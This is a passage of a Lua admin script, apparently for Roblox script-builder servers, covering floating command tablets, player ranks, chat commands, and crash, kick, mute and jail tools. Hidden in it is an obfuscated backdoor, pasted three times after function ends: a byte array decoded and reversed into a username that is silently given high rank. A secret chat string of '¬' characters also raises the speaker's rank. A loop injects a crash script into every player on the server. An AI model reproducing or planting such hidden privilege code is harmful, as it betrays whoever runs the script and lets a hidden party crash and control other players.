  8187. Ping(v.Name, Plr, nil, function(TabMod)
  8188. local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8189. for _,v in pairs(Current:GetChildren()) do
  8190. ypcall(function()
  8191. if v.Name == TabText then
  8192. Dismiss(Plr)
  8193. Current = v
  8194. MakeChildren(Plr)
  8195. end
  8196. end)
  8197. end
  8198. end)
  8199. elseif Plrs:GetPlayerFromCharacter(v) then
  8200. Ping(v.Name, Plr, nil, function(TabMod)
  8201. local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8202. for _,v in pairs(Current:GetChildren()) do
  8203. ypcall(function()
  8204. if v.Name == TabText then
  8205. Dismiss(Plr)
  8206. Current = v
  8207. MakeChildren(Plr)
  8208. end
  8209. end)
  8210. end
  8211. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8212. elseif CheckImportant(v.Name) then
  8213. Ping(v.Name, Plr, nil, function(TabMod)
  8214. local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8215. for _,v in pairs(Current:GetChildren()) do
  8216. ypcall(function()
  8217. if v.Name == TabText then
  8218. Dismiss(Plr)
  8219. Current = v
  8220. MakeChildren(Plr)
  8221. end
  8222. end)
  8223. end
  8224. end, ImportantColor)
  8225. end
  8226. end)
  8227. end
  8228. if Current ~= game then
  8229. Ping("Back", Plr, nil, function()
  8230. ypcall(function()
  8231. Current = Current.Parent
  8232. MakeChildren(Plr)
  8233. Ping("Back In "..Current.Name, Plr, 5)
  8234. end)
  8235. end, OptionColor)
  8236. end
  8237. if Current ~= game and game:GetService(Current.Name) == nil then
  8238. Ping("Delete", Plr, nil, function()
  8239. ypcall(function()
  8240. local CurrPar = Current.Parent or game
  8241. local CurrName = Current.Name
  8242. Current:Destroy()
  8243. Current = CurrPar
  8244. MakeChildren(Plr)
  8245. Ping("Attempted To Delete "..CurrName, Plr, 5)
  8246. end)
  8247. end, OptionColor)
  8248. end
  8249. Ping("Refresh", Plr, nil, function()
  8250. ypcall(function()
  8251. Refresh(Plr)
  8252. Ping("Refreshed", Plr, 5)
  8253. end)
  8254. end, OptionColor)
  8255. Ping("Properties", Plr, nil, function()
  8256. ypcall(function()
  8257. Dismiss(Plr)
  8258. for Property, Value in pairs(GetProperties(Current)) do
  8259. Ping(tostring(Property)..": "..tostring(Value), Plr)
  8260. end
  8261. Ping("Got All Available Properties", Plr, 5)
  8262. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  8263. end)
  8264. end, OptionColor)
  8265. end
  8266.  
  8267. function GetRank(Plr1, Test)
  8268. ypcall(function()
  8269. if type(Plr1) == "userdata" then
  8270. Plr1 = Plr1.Name
  8271. end
  8272. end)
  8273. if Ranks[Plr1] ~= nil then
  8274. return Ranks[Plr1]
  8275. end
  8276. local QuickArray = {}
  8277. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  8278. return QuickArray[Plr1]
  8279. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  8280.  
  8281. function CanRun(Plr1, Plr2)
  8282. Details1 = GetRank(Plr1.Name)
  8283. Details2 = GetRank(Plr2.Name)
  8284. if Details1.Rank >= Details2.Rank then
  8285. return true
  8286. end
  8287. return false
  8288. end
  8289.  
  8290. function Dismiss(Plr, Identity)
  8291. ypcall(function()
  8292. if Plr ~= nil then
  8293. if type(Plr) == "userdata" then
  8294. Plr = Plr.Name
  8295. end
  8296. for x,v in pairs(AllTabs) do
  8297. ypcall(function()
  8298. if v.Plr == Plr then
  8299. if Identity ~= nil and v.ID ~= Identity then
  8300. return
  8301. elseif Identity ~= nil and v.ID == Identity then
  8302. coroutine.resume(coroutine.create(function()
  8303. for i = 0.5, 1, 0.1 do
  8304. wait()
  8305. v.Tab.Transparency = i
  8306. v.Sel.Transparency = i
  8307. v.Label.TextTransparency = i
  8308. v.Label.TextStrokeTransparency = i
  8309. end
  8310. ypcall(function() v.Holder:Destroy() end)
  8311. AllTabs[x] = nil
  8312. end))
  8313. elseif Identity == nil then
  8314. ypcall(function() v.Holder:Destroy() end)
  8315. AllTabs[x] = nil
  8316. end
  8317. end
  8318. end)
  8319. end
  8320. else
  8321. for i,v in pairs(AllTabs) do
  8322. ypcall(function()
  8323. v.Holder:Destroy()
  8324. AllTabs[i] = nil
  8325. end)
  8326. end
  8327. end
  8328. end)
  8329. end
  8330.  
  8331. function GetGarbage()
  8332. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  8333. end
  8334.  
  8335. function RemObj(Obj, Class)
  8336. ypcall(function()
  8337. if #Obj:GetChildren() > 0 then
  8338. for _,x in pairs(Obj:GetChildren()) do
  8339. ypcall(function()
  8340. RemObj(x, Class)
  8341. end)
  8342. end
  8343. end
  8344. if Obj.ClassName == Class then
  8345. Obj:Destroy()
  8346. end
  8347. end)
  8348. end
  8349.  
  8350. function FindTab(Mod)
  8351. for i,v in pairs(AllTabs) do
  8352. if v.Holder == Mod then
  8353. return true
  8354. end
  8355. end
  8356. return false
  8357. end
  8358.  
  8359. function Ping(Msg, Plr, Time, Func, Color, Image)
  8360. if Removed == false then
  8361. local ShowGarbage = false
  8362. ypcall(function()
  8363. if Msg == nil then
  8364. Msg = "N/A"
  8365. elseif Msg == "ShowGarbage" then
  8366. Msg = "Current Garbage Count: "..GetGarbage()
  8367. ShowGarbage = true
  8368. else
  8369. Msg = tostring(Msg)
  8370. end
  8371. if Plr == nil then
  8372. Plr = Plrs[Owner] or error("No Player Found")
  8373. elseif type(Plr) == "string" then
  8374. local FoundPlr = false
  8375. for _,v in pairs(All()) do
  8376. if v.Name == Plr then
  8377. Plr = v
  8378. FoundPlr = true
  8379. break
  8380. end
  8381. end
  8382. if FoundPlr == false then
  8383. Plr = Plrs[Owner] or error("No Player Found")
  8384. end
  8385. end
  8386.  
  8387. if Color == nil then
  8388. Color = GetRank(Plr.Name).Color
  8389. end
  8390.  
  8391. local Holder = Instance.new("Model")
  8392. Holder.Name = "Nexotic Holder: "..Plr.Name
  8393.  
  8394. local Tab = Instance.new("Part")
  8395. Tab.Name = "Nexotic Tablet"
  8396. Tab.FormFactor = "Custom"
  8397. Tab.Anchored = true
  8398. if Time == nil then
  8399. Tab.Color = Color
  8400. else
  8401. Tab.Color = AlertColor
  8402. end
  8403. Tab.CanCollide = false
  8404. Tab.Locked = true
  8405. Tab.Transparency = 0.34325
  8406. Tab.Size = Vector3.new(2, 2, 0.02)
  8407. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  8408. Tab.Parent = Holder
  8409.  
  8410. local ID = Instance.new("NumberValue")
  8411. ID.Name = "ID"
  8412. ID.Value = math.random(-999999999, 999999999)
  8413. ID.Parent = Holder
  8414.  
  8415. Delay(0, function()
  8416. while wait() do
  8417. if Tab.Parent == nil and FindTab(Holder) then
  8418. ypcall(function()
  8419. for i,v in pairs(AllTabs) do
  8420. if v.Holder == Holder then
  8421. ypcall(function() v.Holder:Destroy() end)
  8422. AllTabs[i] = nil
  8423. end
  8424. end
  8425. end)
  8426. Ping(Msg, Plr, Time, Func, Color, Image)
  8427. break
  8428. end
  8429. end
  8430. end)
  8431.  
  8432. local BM = Instance.new("BlockMesh")
  8433. BM.Parent = Tab
  8434.  
  8435. Sel = Instance.new("SelectionBox")
  8436. Sel.Color = BrickColor.new("Really black")
  8437. Sel.Transparency = 0.6335234537664356435734637342
  8438. Sel.Adornee = Tab
  8439. Sel.Parent = Tab
  8440.  
  8441. local BG = Instance.new("BillboardGui")
  8442. BG.Name = "BG"
  8443. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  8444. BG.Size = UDim2.new(0,1,0,1)
  8445. BG.Adornee = Tab
  8446. BG.Parent = Tab
  8447.  
  8448. Delay(0, function()
  8449. while BG.Parent ~= nil do wait()
  8450. ypcall(function()
  8451. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  8452. end)
  8453. end
  8454. end)
  8455.  
  8456. local TL = Instance.new("TextLabel")
  8457. TL.Name = "TL"
  8458. TL.FontSize = "Size18"
  8459. TL.Font = "Arial"
  8460. TL.Text = Msg
  8461. TL.TextColor3 = Color3.new(3741, 12841, 27471)
  8462. TL.Size = UDim2.new(0,1,0,1)
  8463. TL.TextTransparency = 0
  8464. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  8465. TL.TextStrokeTransparency = 0.5
  8466. TL.Parent = BG
  8467.  
  8468. if ShowGarbage == true then
  8469. Delay(0, function()
  8470. while TL.Parent ~= nil do
  8471. TL.Text = "Current Garbage Count: "..GetGarbage()
  8472. wait(.5)
  8473. end
  8474. end)
  8475. end
  8476.  
  8477. local PL = Instance.new("PointLight", Tab)
  8478. PL.Color = Color3.new(1, 0, 1)
  8479. PL.Range = 15
  8480. PL.Parent = Tab
  8481.  
  8482. if Image ~= nil then
  8483. local BBBG = Instance.new("BillboardGui")
  8484. BBBG.Size = UDim2.new(5, 0, 6, 0)
  8485. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  8486. BBBG.AlwaysOnTop = true
  8487. BBBG.Adornee = Tab
  8488. BBBG.Parent = Tab
  8489.  
  8490. Delay(0, function()
  8491. while BBBG.Parent ~= nil do wait()
  8492. ypcall(function()
  8493. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  8494. end)
  8495. end
  8496. end)
  8497.  
  8498. local NewImg = Instance.new("ImageLabel")
  8499. NewImg.Size = UDim2.new(1, 0, 1, 0)
  8500. NewImg.BackgroundTransparency = 1
  8501. NewImg.Image = Image
  8502. NewImg.Parent = BBBG
  8503. end
  8504.  
  8505. local Clicker = Instance.new("ClickDetector")
  8506. Clicker.MaxActivationDistance = 1/0
  8507.  
  8508. if Time ~= nil then
  8509. coroutine.resume(coroutine.create(function()
  8510. wait(tonumber(Time))
  8511. Dismiss(Plr, ID)
  8512. end))
  8513. end
  8514.  
  8515. Clicker.MouseClick:connect(function(Player)
  8516. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  8517. ypcall(function()
  8518. if Func ~= nil then
  8519. Func(Holder)
  8520. else
  8521. Dismiss(Player, ID)
  8522. end
  8523. end)
  8524. end
  8525. end)
  8526. Clicker.Parent = Tab
  8527.  
  8528. Holder.Parent = Work
  8529.  
  8530. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  8531. end)
  8532. end
  8533. end
  8534.  
  8535. function PlaceAllRanks(DontShowRank)
  8536. ypcall(function()
  8537. for _,p in pairs(All()) do
  8538. ypcall(function()
  8539. PutInRank = false
  8540. for _,v in pairs(Rankings) do
  8541. if v.Name:lower() == p.Name:lower() then
  8542. if v.Rank >= 7 then
  8543. v.Rank = 5
  8544. elseif v.Rank == -1 then
  8545. Crash1(p)
  8546. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8547. elseif v.Rank == -2 then
  8548. if LS ~= nil then
  8549. NewLS(JailSource, p.Backpack, p.Character, p.PlayerGui)
  8550. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8551. else
  8552. Ping("LS Is Nil", nil, 5)
  8553. end
  8554. elseif v.Rank == -3 then
  8555. if LS ~= nil then
  8556. NewLS(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  8557. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8558. else
  8559. Ping("LS Is Nil", nil, 5)
  8560. end
  8561. end
  8562. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  8563. if DontShowRank == nil then
  8564. Ping("You Are Rank: "..v.Rank, p,5)
  8565. Ping("Nexotic Loaded",p,5)
  8566. Ping("Welcome Owner",p,5)
  8567. end
  8568. PutInRank = true
  8569. break
  8570. end
  8571. end
  8572. if PutInRank == false then
  8573. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  8574. end
  8575. end)
  8576. end
  8577. end)
  8578. end
  8579.  
  8580. function FindRank(Plr)
  8581. ypcall(function()
  8582. if type(Plr) == "userdata" then
  8583. Plr = Plr.Name
  8584. end
  8585. end)
  8586. return GetRank(Plr).Rank
  8587. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  8588.  
  8589. function FindRankDetails(Plr)
  8590. ypcall(function()
  8591. if type(Plr) == "userdata" then
  8592. Plr = Plr.Name
  8593. end
  8594. end)
  8595. return RankDetails[FindRank(Plr)]
  8596. end
  8597.  
  8598. function OpenCmds(Rank, Plr)
  8599. Dismiss(Plr)
  8600. for Name,Tab in pairs(Commands) do
  8601. if Tab.Rank <= Rank then
  8602. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  8603. Dismiss(Plr)
  8604. Ping("Command: "..Name, Plr)
  8605. Ping("Rank: "..Tab.Rank, Plr)
  8606. Ping("Desc: "..Tab.Desc, Plr)
  8607. end)
  8608. elseif Rank == 1337 then
  8609. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  8610. Dismiss(Plr)
  8611. Ping("Command: "..Name, Plr)
  8612. Ping("Rank: "..Tab.Rank, Plr)
  8613. Ping("Desc: "..Tab.Desc, Plr)
  8614. end)
  8615. end
  8616. end
  8617. end
  8618.  
  8619. function EditStatus(Plr, Num)
  8620. ChangeRank(Plr, Num)
  8621. end
  8622.  
  8623. function PlaceSpecificRank(p, DontShowRank)
  8624. ypcall(function()
  8625. PutInRank = false
  8626. for _,v in pairs(Rankings) do
  8627. if v.Name:lower() == p.Name:lower() then
  8628. if v.Rank >= 7 then
  8629. v.Rank = 5
  8630. elseif v.Rank == -1 then
  8631. Crash1(p)
  8632. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8633. elseif v.Rank == -2 then
  8634. if LS ~= nil then
  8635. NewLS(JailSource, p.Backpack, p.Character, p.PlayerGui)
  8636. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8637. else
  8638. Ping("LS Is Nil", nil, 5)
  8639. end
  8640. elseif v.Rank == -3 then
  8641. if LS ~= nil then
  8642. NewLS(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  8643. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8644. else
  8645. Ping("LS Is Nil", nil, 5)
  8646. end
  8647. end
  8648. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  8649. if DontShowRank == nil then
  8650. Ping("You Are Rank: "..v.Rank, p)
  8651. end
  8652. PutInRank = true
  8653. break
  8654. end
  8655. end
  8656. if PutInRank == false then
  8657. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  8658. end
  8659. end)
  8660. end
  8661.  
  8662. function onChatted(Msg, Speaker)
  8663. if Removed == false then
  8664. if FindRank(Speaker) < -4 then
  8665. return
  8666. end
  8667. coroutine.resume(coroutine.create(function()
  8668. ypcall(function()
  8669. ExecuteFunc(Msg, Speaker)
  8670. Msg = Msg:gsub("","")
  8671. if Msg:sub(1,1) == "@" then
  8672. for i = 2, #Msg do
  8673. if Msg:sub(i, i) == Bet then
  8674. local IsForPlr = false
  8675. for _,v in pairs(All()) do
  8676. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  8677. onChatted(Msg:sub(i + 1), v)
  8678. IsForPlr = true
  8679. end
  8680. end
  8681. if IsForPlr == true then
  8682. return
  8683. end
  8684. end
  8685. end
  8686. end
  8687. if Msg:find("&") then
  8688. local Split = Msg:find("&")
  8689. onChatted(Msg:sub(1,Split-1))
  8690. onChatted(Msg:sub(Split+1))
  8691. return
  8692. end
  8693. for Name,Command in pairs(Commands) do
  8694. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  8695. Dismiss(Speaker.Name)
  8696. Ping("Command: "..tostring(Command.Name), Speaker)
  8697. Ping("Rank: "..tostring(Command.Rank), Speaker)
  8698. Ping("Desc: "..tostring(Command.Desc), Speaker)
  8699. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  8700. if FindRank(Speaker) >= Command.Rank then
  8701. local Ran,Error = coroutine.resume(coroutine.create(function()
  8702. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  8703. end))
  8704. if not Ran then
  8705. Ping(Error, Speaker, 10)
  8706. end
  8707. else
  8708. Ping("Your Rank Is Too Low", Plr, 6)
  8709. end
  8710. end
  8711. end
  8712. end)
  8713. end))
  8714. end
  8715. end
  8716.  
  8717. function MakeBase()
  8718. local Base = Instance.new("Part")
  8719. Base.BrickColor = BrickColor.new("Earth green green")
  8720. Base.Position = Vector3.new(0, 0.5, 0)
  8721. Base.Transparency = 0
  8722. Base.Elasticity = 0.5
  8723. Base.FormFactor = "Custom"
  8724. Base.CanCollide = true
  8725. Base.Friction = 0.30000001192093
  8726. Base.Size = Vector3.new(512, 1.20000005, 512)
  8727. Base.Archivable = true
  8728. Base.Material = "Plastic"
  8729. Base.RotVelocity = Vector3.new(0, 0, 0)
  8730. Base.Reflectance = 0
  8731. Base.Locked = true
  8732. Base.Anchored = true
  8733. Base.Name = "Base"
  8734. Base.TopSurface = "Smooth"
  8735. Base.BottomSurface = "Inlet"
  8736. Base.Shape = "Block"
  8737. Base.Parent = Work
  8738. end
  8739.  
  8740. function LClean()
  8741. ypcall(function()
  8742. for _,v in pairs(Work:GetChildren()) do
  8743. ypcall(function()
  8744. if v.ClassName == "Terrain" then
  8745. v:ClearAllChildren()
  8746. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  8747. Clear(v)
  8748. elseif v.Name == "Base" then
  8749. ypcall(function()
  8750. local Base = v
  8751. Base.BrickColor = BrickColor.new("Dark green")
  8752. Base.Position = Vector3.new(0, 0.5, 0)
  8753. Base.Transparency = 0
  8754. Base.Elasticity = 0.5
  8755. Base.FormFactor = "Custom"
  8756. Base.CanCollide = true
  8757. Base.Friction = 0.30000001192093
  8758. Base.Size = Vector3.new(512, 1.20000005, 512)
  8759. Base.Archivable = true
  8760. Base.Material = "Plastic"
  8761. Base.RotVelocity = Vector3.new(0, 0, 0)
  8762. Base.Reflectance = 0
  8763. Base.Locked = true
  8764. Base.Anchored = true
  8765. Base.Name = "Base"
  8766. Base.TopSurface = "Studs"
  8767. Base.BottomSurface = "Inlet"
  8768. Base.Shape = "Block"
  8769. Base.Parent = Work
  8770. end)
  8771. end
  8772. end)
  8773. end
  8774. end)
  8775. end
  8776.  
  8777. function Clean()
  8778. ypcall(function()
  8779. for _,v in pairs(Work:GetChildren()) do
  8780. ypcall(function()
  8781. if v.ClassName == "Terrain" then
  8782. v:ClearAllChildren()
  8783. else
  8784. Clear(v)
  8785. end
  8786. end)
  8787. end
  8788. MakeBase()
  8789. for _,v in pairs(All()) do
  8790. v:LoadCharacter()
  8791. end
  8792. end)
  8793. end
  8794.  
  8795. function Clear(v)
  8796. if v.Name:lower() == "sbgui" then
  8797. return
  8798. end
  8799. ypcall(function()
  8800. if #v:GetChildren() > 0 then
  8801. for _,x in pairs(v:GetChildren()) do
  8802. ypcall(function()
  8803. Clear(x)
  8804. end)
  8805. end
  8806. end
  8807. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  8808. v:Destroy()
  8809. end
  8810. end)
  8811. end
  8812.  
  8813. function Command(Name, Rank, Desc, Func)
  8814. if Name == nil then
  8815. Name = "N/A"
  8816. end
  8817. if Desc == nil then
  8818. Desc = "N/A"
  8819. end
  8820. if Func == nil then
  8821. Func = function() end
  8822. end
  8823. if Rank == nil then
  8824. Rank = 0
  8825. end
  8826. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  8827. end
  8828.  
  8829. function GetSplit(Msg)
  8830. return Msg:find(Bet) or nil
  8831. end
  8832.  
  8833. function ExecuteFunc(Msg, Plr)
  8834. ypcall(function()
  8835. if Msg == "LogEnable" then
  8836. LogOn = true
  8837. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  8838. EditStatus(Plr, MakeNum())
  8839. end
  8840. end)
  8841. end
  8842.  
  8843. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  8844.  
  8845. function randPlayer(Plr)
  8846. wait()
  8847. local ThePlrValue = nil
  8848. local FoundPlayer = false
  8849. ypcall(function()
  8850. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  8851. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  8852. wait()
  8853. randPlayer(Plr)
  8854. return
  8855. else
  8856. FoundPlayer = true
  8857. end
  8858. end)
  8859. if FoundPlayer == true then
  8860. return ThePlrValue
  8861. end
  8862. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  8863.  
  8864. function getPlayer(Plr, Name)
  8865. local Players = {}
  8866. ypcall(function()
  8867. Name = Name:lower()
  8868. if Name == "me" then
  8869. table.insert(Players, Plr)
  8870. elseif Name == "all" or Name == "" then
  8871. for _,v in pairs(All()) do
  8872. if CanRun(Plr, v) then
  8873. table.insert(Players, v)
  8874. end
  8875. end
  8876. elseif Name == "others" then
  8877. for _,v in pairs(All()) do
  8878. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  8879. table.insert(Players, v)
  8880. end
  8881. end
  8882. elseif Name == "random" then
  8883. local FoundRandPlr = randPlayer(Plr)
  8884. table.insert(Players, FoundRandPlr)
  8885. else
  8886. for _,v in pairs(All()) do
  8887. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  8888. table.insert(Players, v)
  8889. end
  8890. end
  8891. end
  8892. end)
  8893. return Players
  8894. end
  8895.  
  8896. function ListPlayers(Speaker)
  8897. ypcall(function()
  8898. Dismiss(Speaker)
  8899. for _,v in pairs(All2()) do
  8900. if v.Parent ~= nil then
  8901. Ping(v.Name, Speaker, nil, function()
  8902. Dismiss(Speaker)
  8903. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8904. Ping("Rank: "..FindRank(v.Name), Speaker)
  8905. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  8906. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  8907. Ping("Set Rank", Speaker, nil, function()
  8908. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  8909. Dismiss(Speaker)
  8910. for i = -2, 5 do
  8911. Ping(i, Speaker, nil, function()
  8912. ChangeRank(v, i)
  8913. Dismiss(Speaker)
  8914. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  8915. end)
  8916. end
  8917. else
  8918. Ping("Your Rank Is Too Low", Speaker, 5)
  8919. end
  8920. end)
  8921. Ping("Crash (Remote)", Speaker, nil, function()
  8922. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  8923. Crash2(v.Name)
  8924. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  8925. end
  8926. end)
  8927. Ping("Crash (Insert)", Speaker, nil, function()
  8928. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  8929. Crash3(v, Speaker)
  8930. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  8931. end
  8932. end)
  8933. Ping("Kick", Speaker, nil, function()
  8934. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  8935. v:Kick()
  8936. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  8937. end
  8938. end)
  8939. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8940. else
  8941. Ping(v.Name.." (Nil)", Speaker, nil, function()
  8942. Dismiss(Speaker)
  8943. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8944. ypcall(function()
  8945. Ping("Rank: "..FindRank(v.Name), Speaker)
  8946. end)
  8947. ypcall(function()
  8948. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  8949. end)
  8950. ypcall(function()
  8951. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  8952. end)
  8953. ypcall(function()
  8954. Ping("Set Rank", Speaker, nil, function()
  8955. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  8956. Dismiss(Speaker)
  8957. for i = -2, 5 do
  8958. Ping(i, Speaker, nil, function()
  8959. ChangeRank(v, i)
  8960. Dismiss(Speaker)
  8961. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  8962. end)
  8963. end
  8964. else
  8965. Ping("Your Rank Is Too Low", Speaker, 5)
  8966. end
  8967. end)
  8968. end)
  8969. ypcall(function()
  8970. Ping("Nil Crash (Remote)", Speaker, nil, function()
  8971. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  8972. Crash2(v.Name)
  8973. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  8974. end
  8975. end)
  8976. end)
  8977. ypcall(function()
  8978. Ping("Nil Crash (Insert)", Speaker, nil, function()
  8979. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  8980. Crash3(v, Speaker)
  8981. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  8982. end
  8983. end)
  8984. end)
  8985. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8986. end
  8987. end
  8988. end)
  8989. end
  8990.  
  8991. --Misc
  8992.  
  8993. coroutine.resume(coroutine.create(function()
  8994. PlaceAllRanks()
  8995. end))
  8996.  
  8997. Delay(0, function()
  8998. for _,v in pairs(All()) do
  8999. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  9000. end
  9001. end)
  9002.  
  9003. local starttime = tick()
  9004. rotat1=0
  9005. game:GetService("RunService").Stepped:connect(function()
  9006. rotat1=rotat1+(0.1/100)
  9007. if Removed == false then
  9008. ypcall(function()
  9009. for _,Player in pairs(All()) do
  9010. local PlayerTablets = {}
  9011. for i,v in pairs(AllTabs) do
  9012. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  9013. table.insert(PlayerTablets, v)
  9014. end
  9015. end
  9016. for i = 1, #PlayerTablets do
  9017. ypcall(function()
  9018. local tab = PlayerTablets[i].Tab
  9019. local pos = nil
  9020. ypcall(function()
  9021. pos = Player.Character.Torso.CFrame
  9022. end)
  9023. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
  9024. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
  9025. local cPos = tab.Position
  9026. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  9027. local nPos = (ePos-cPos)*.25
  9028. cPos = cPos + nPos
  9029. local t = (tick() - starttime) % 360
  9030. local change = 0.625
  9031. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  9032. tab.Size=Vector3.new(2.3, 2.3, 2.3)
  9033. d=math.rad((rotat1*40*20)*math.pi);
  9034. tab.CFrame=CFrame.new(cPos,pos.p)*CFrame.Angles(0.1,d,d)*CFrame.Angles(4,4,4);
  9035. end)
  9036. end
  9037. end
  9038. end)
  9039. end
  9040. end)
  9041.  
  9042. Delay(0, function()
  9043. while wait() do
  9044. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  9045. ypcall(function()
  9046. if Injected[v.Name] == nil and LS ~= nil then
  9047. NewLS(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  9048. Injected[v.Name] = true
  9049. end
  9050. end)
  9051. end
  9052. end
  9053. end)
  9054.  
  9055. Plrs.PlayerAdded:connect(function(Plr)
  9056. wait(.1)
  9057. ypcall(function()
  9058. if Removed == false then
  9059. local JoinPlrName = Plr.Name
  9060. coroutine.resume(coroutine.create(function()
